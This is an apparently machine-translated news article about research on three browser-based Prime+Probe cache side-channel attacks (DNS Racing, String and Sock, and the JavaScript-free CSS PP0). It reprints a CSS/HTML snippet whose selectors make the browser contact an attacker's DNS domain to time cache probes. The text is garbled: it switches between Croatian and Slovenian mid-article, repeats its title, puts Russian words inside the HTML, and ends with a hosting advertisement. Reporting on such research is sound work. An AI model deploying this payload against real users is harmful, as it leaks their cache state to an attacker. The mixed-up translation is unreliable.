Napad za pridobivanje podatkov iz CPU predpomnilnika, izveden v spletnem brskalniku brez JavaScripta

Skupina istraživača iz nekoliko američkih, izraelskih i australskih sveučilišta razvila je tri funkcionalne napade u web preglednicima za izvlačenje informacija o sadržaju procesorskog cachea. Jedna metoda radi u preglednicima bez JavaScripta, a ostale dvije uspijevaju zaobići postojeće zaštite od napada putem sporednih kanala, uključujući one primjenjive u Tor pregledniku i DeterFoxu. Kod za demonstraciju napada, kao i potrebne serverske komponente za napade, objavljeni su na GitHub-u.

Za analizu sadržaja cachea u svim napadima koristi se metoda Prime+Probe, koja podrazumijeva punjenje cachea referentnim skupom vrijednosti i određivanje promjena mjerom vremena pristupa tim vrijednostima pri ponovnom punjenju. Zaobilaženje postojećih mehanizama zaštite u preglednicima, koji ometaju precizno mjerenje vremena, provodi se u dva varijante putem povezivanja na DNS ili WebSocket server pod kontrolom napadača, na kojem se vodi log vremena dolaska zahtjeva. U jednoj varijanti, fiksno vrijeme DNS odgovora koristi se kao referentno vrijeme.

Mjerenja provedena uz pomoć vanjskih DNS ili WebSocket servera, zahvaljujući primjeni sustava klasifikacije temeljenog na strojnome učenju, bila su dovoljna za predviđanje vrijednosti s točnošću do 98% u najoptimističnijem scenariju (u prosjeku 80-90%). Metode napada testirane su na različitim hardverskim platformama (Intel, AMD Ryzen, Apple M1, Samsung Exynos) i pokazale su se kao univerzalne.

Napad za pridobivanje podatkov iz CPU predpomnilnika, izveden v spletnem brskalniku brez JavaScripta

U prvoj varijanti napada "DNS Racing" koristi se klasična implementacija metode Prime+Probe, koja koristi JavaScript nizove. Razlike se svode na korištenje vanjskog tajmera temeljenog na DNS-u i onerror obradnika, koji se aktivira prilikom pokušaja učitavanja slike s nepostojećeg domena. Vanjski tajmer omogućava izvođenje napada Prime+Probe u preglednicima koji ograničavaju ili potpuno onemogućuju pristup JavaScript tajmerima.

Za DNS strežnik, ki je nameščen v isti Ethernet mreži, se natančnost časovnika ocenjuje na približno 2 ms, kar je dovolj za izvajanje napadov preko stranskih kanalov (če za primerjamo, je natančnost privzetega JavaScript časovnika v Tor Brskalniku znižana na 100 ms). Pri napadu nadzor nad DNS strežnikom ni potreben, saj je čas izvedbe operacije nastavljen tako, da čas odgovora DNS služi kot znak za prejšnje zaključevanje preverjanja (glede na to, ali se je obdelovalec onerror sprožil prej ali kasneje, se ugotovi hitrost izvajanja preverjalne operacije s predpomnilnikom).

Druga metoda napada 'String and Sock' je usmerjena na obvladovanje zaščitnih metod, ki omejujejo nizkonivojsko uporabo tabel v JavaScriptu. Namesto tabel 'String and Sock' uporablja operacije z zelo velikimi nizom, katerih velikost je izbrana tako, da pokriva celoten predpomnilnik LLC (zadnji nivo predpomnilnika). Nato se s funkcijo indexOf() v nizu išče majhna podniz, ki sprva ni prisotna v izvirnem nizu, tj. operacija iskanja privede do preiskave celotnega niza. Ker je velikost niza enaka velikosti LLC predpomnilnika, skeniranje omogoča izvedbo operacije preverjanja predpomnilnika brez manipulacije s tabelami. Za merjenje zakasnitev se namesto DNS uporablja komunikacija s strežnikom WebSocket, ki ga nadzira napadalec — pred začetkom in po zaključku iskanja v nizu se pošljejo poizvedbe, na podlagi katerih se strežnikom izračuna zakasnitev, ki se uporablja za analizo vsebine predpomnilnika.

Tretja varianta napada «CSS PP0» je realizirana preko HTML in CSS, in lahko deluje v brskalnikih z izklopljenim JavaScriptom. Metoda spominja na «String and Sock», vendar ni vezana na JavaScript. Med napadom se ustvari niz CSS-selektorjev, ki izvajajo iskanje po maski. Izvorna dolga vrstica, ki napolni predpomnilnik, je določena s ustvarjanjem oznake div z zelo dolgim imenom razreda. Znotraj se nahaja niz drugih div-ov s svojimi identifikatorji. Za vsak od teh vgrajenih div-ov se določi svoj slog z selektorjem, ki izvaja iskanje podniza. Pri risanju strani brskalnik najprej poskuša obdelati notranje div-e, kar vodi do izvajanja operacije iskanja v dolgi vrstici. Iskanje se izvaja po vnaprej neobstoječi maski in vodi do prečkanja celotne vrstice, po čemer se sproži pogoj «not» in izvede poskus nalaganja ozadja slike, ki se nanaša na naključne domena: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>

Poddomeni se obravnavajo na DNS-strežniku napadalca, ki lahko meri zamude pri prejemanju prošenj. Na vse zahteve DNS-strežnik izda NXDOMAIN in vodi evidenco natančnega časa poizvedb. Kot rezultat obdelave niza div-ov na DNS-strežnik napadalca pride vrsta prošenj, zamude med katerimi korelirajo z rezultatom preverjanja vsebine predpomnilnika.

Napad za pridobivanje podatkov iz CPU predpomnilnika, izveden v spletnem brskalniku brez JavaScripta


Izvor: opennet.ru
Kupite zanesljivo gostovanje za spletne strani z zaščito pred DDoS, VPS VDS strežniki 🔥 Kupite zanesljivo gostovanje za spletne strani z zaščito pred DDoS, VPS VDS strežniki | ProHoster